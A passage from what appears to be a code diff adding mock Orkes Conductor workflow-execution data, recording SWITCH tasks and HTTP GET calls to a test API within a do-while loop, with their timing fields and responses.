defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 97, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__3", + retryCount: 0, + seq: 9, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103218, + startTime: 1711431103219, + endTime: 1711431103219, + updateTime: 1711431103219, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21257abd-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 1, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__3", + retryCount: 0, + seq: 10, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431103217, + startTime: 1711431103301, + endTime: 1711431103311, + updateTime: 1711431103301, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2127286e-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 591, + hostName: "orkes-api-sampler-67dfc8cf58-mzb8h", + randomString: "osikimmicsohimctzynf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 84, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__3", + retryCount: 0, + seq: 11, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431103313, + startTime: 1711431103410, + endTime: 1711431103420, + updateTime: 1711431103411, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2135ce6f-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9953, + hostName: "orkes-api-sampler-67dfc8cf58-7l8kb", + randomString: "mfdhzhvuammftfncjduz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 97, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref__4", + retryCount: 0, + seq: 12, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103439, + startTime: 1711431103440, + endTime: 1711431103440, + updateTime: 1711431103440, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21470c80-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 1, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_second_ref__4", + retryCount: 0, + seq: 13, + pollCount: 1, + taskDefName: "http_second", + scheduledTime: 1711431103438, + startTime: 1711431103520, + endTime: 1711431103530, + updateTime: 1711431103520, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2148e141-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7297, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "emnrcqiwfbrkybhsyptc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 82, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_four_ref__4", + retryCount: 0, + seq: 14, + pollCount: 1, + taskDefName: "http_four", + scheduledTime: 1711431103532, + startTime: 1711431103629, + endTime: 1711431103639, + updateTime: 1711431103630, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21573922-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6651, + hostName: "orkes-api-sampler-67dfc8cf58-dcsmz", + randomString: "uctrykkkcchadijylujt", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 97, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__5", + retryCount: 0, + seq: 15, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103658, + startTime: 1711431103659, + endTime: 1711431103659, + updateTime: 1711431103659, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "21687733-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 1, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__5", + retryCount: 0, + seq: 16, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711431103656, + startTime: 1711431103739, + endTime: 1711431103749, + updateTime: 1711431103739, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "216a24e4-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1775, + hostName: "orkes-api-sampler-67dfc8cf58-xsh5s", + randomString: "uscnqmblxmnegjlnbtaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 83, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref__6", + retryCount: 0, + seq: 17, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103774, + startTime: 1711431103774, + endTime: 1711431103774, + updateTime: 1711431103774, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "2179b545-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_cool", + taskReferenceName: "http_ref_cool", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_second", + taskReferenceName: "http_second_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_four", + taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 0, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_five__6", + retryCount: 0, + seq: 18, + pollCount: 1, + taskDefName: "http_five", + scheduledTime: 1711431103772, + startTime: 1711431103849, + endTime: 1711431103867, + updateTime: 1711431103849, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "217bd826-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:43 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9639, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "zwbfptybsvekbfvzbzml", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_five", + taskReferenceName: "http_ref_five", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + loopOverTask: true, + taskDefinition: null, + queueWaitTime: 77, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + "": "", + hasChildren: "true", + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref__7", + retryCount: 0, + seq: 19, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1711431103888, + startTime: 1711431103888, + endTime: 1711431103888, + updateTime: 1711431103888, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "218b4177-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + "": "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_third", + taskReferenceName: "http_third_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + 